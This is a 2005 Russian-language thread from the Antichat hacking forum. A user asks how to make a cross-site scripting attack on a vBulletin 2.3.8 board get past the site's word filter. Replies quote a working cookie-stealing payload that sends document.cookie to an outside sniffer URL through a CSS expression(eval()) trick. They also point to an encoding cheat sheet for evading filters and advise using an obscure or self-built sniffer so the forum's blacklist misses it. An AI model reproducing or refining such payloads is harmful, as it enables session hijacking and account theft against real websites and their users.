Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Проблема с XSS в vBulletin 2.x.x. Просьба помочь. |
16.12.2005, 15:01
|
|
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841
Репутация:
-4
|
|
Проблема с XSS в vBulletin 2.x.x. Просьба помочь.
Такое дело прописываю эту xss(изложено в этой теме http://forum.antichat.ru/showthread.php?t=5469) в форуме vBulletin версии 2.3.8 а она заменяется на такую вот хню aaa@aaa.aa"'s='' sss="i=new Image(); i.src='http://********.ru/cgi-bin/s.jpg?'+document.****ie;this.sss=null" style=top:**********(****(this.sss));, появляются эти звёздочки. Кто нить может мне помочь, может её можно как нить запрятать.
Последний раз редактировалось ProblemaT; 16.12.2005 в 15:07..
|
|
|
16.12.2005, 15:04
|
|
Banned
Регистрация: 03.12.2005
Сообщений: 22
Провел на форуме:
82546
Репутация:
30
|
|
Чуток не понятно что ты хочешь, но если тебе нужно обойти фильтры в параметрах...то используй эту ссылку для шифровки.
http://ha.ckers.org/xss.html
А вообще исходный код страницы дай..  |
|
|
|
16.12.2005, 15:10
|
|
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841
Репутация:
-4
|
|
Сообщение от Thesaurus
Чуток не понятно что ты хочешь, но если тебе нужно обойти фильтры в параметрах...то используй эту ссылку для шифровки.
http://ha.ckers.org/xss.html
А вообще исходный код страницы дай.. Тыпрочитай тему которую я указал выше.
|
|
|
|
16.12.2005, 15:13
|
|
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841
Репутация:
-4
|
|
А где тут именно шифровать я не пойму?
|
|
|
|
16.12.2005, 15:18
|
|
Banned
Регистрация: 03.12.2005
Сообщений: 22
Провел на форуме:
82546
Репутация:
30
|
|
Сообщение от ProblemaT
А где тут именно шифровать я не пойму?
Character Encoding Calculator
тут...
|
|
|
|
16.12.2005, 15:53
|
|
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841
Репутация:
-4
|
|
Сообщение от Thesaurus
Resylitat koda svoego dai. Chto vidno v HTML?
<p><font size="2" face="Verdana, Arial"><a href="mailto:aaa@aaa.aa"'s='">aaa@aaa.aa"'s='</a>' sss="i=new Image(); i.src='http://********.ru/cgi-bin/s.jpg?'+document.****ie;this.sss=null" style=top:**********(****(this.sss));</font></p>
|
|
|
|
16.12.2005, 16:11
|
|
Banned
Регистрация: 03.12.2005
Сообщений: 22
Провел на форуме:
82546
Репутация:
30
|
|
Код HTML:
<p><font size="2" face="Verdana, Arial"><a href="mailto:aaa@aaa.aa"'s='">aaa@aaa.aa"'s='</a>' sss="i=new Image(); i.src='i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null" style=top:expression(eval(this.sss));</font></p>
http://ha.ckers.org/xss.html
Берешь эту ссылку, и кодируешь параметры своих атрибутов. |
|
|
|
16.12.2005, 16:25
|
|
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841
Репутация:
-4
|
|
Сообщение от Thesaurus
Код HTML:
<p><font size="2" face="Verdana, Arial"><a href="mailto:aaa@aaa.aa"'s='">aaa@aaa.aa"'s='</a>' sss="i=new Image(); i.src='i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null" style=top:expression(eval(this.sss));</font></p>
http://ha.ckers.org/xss.html
Берешь эту ссылку, и кодируешь параметры своих атрибутов. А какой брать код HTML (with semicolons) или HTML (without semicolons)?
|
|
|
|
16.12.2005, 16:35
|
|
Познающий
Регистрация: 16.12.2005
Сообщений: 42
Провел на форуме:
173841
Репутация:
-4
|
|
Не выходит, пишет как простой текст.
|
|
|
|
16.12.2005, 18:12
|
|
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553
Репутация:
1316
|
|
если заменяет на звездочки значит чел, фильтрует через фильтр матов, тоесть вписываешь туда слова и он их заменяет на *
Секешь к чему я?
если он такое делает, значит он обрезает твой сайт, допустим многие форумы стали добавлять в мат античатовский сниффер, решаеться это "навождение косых умов" очень просто, ищещь не распространненый особо сниффер, в конце концов можешь сделать сам. пробобуй здесь netsec.ru там тебе персональный сниф дадут |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
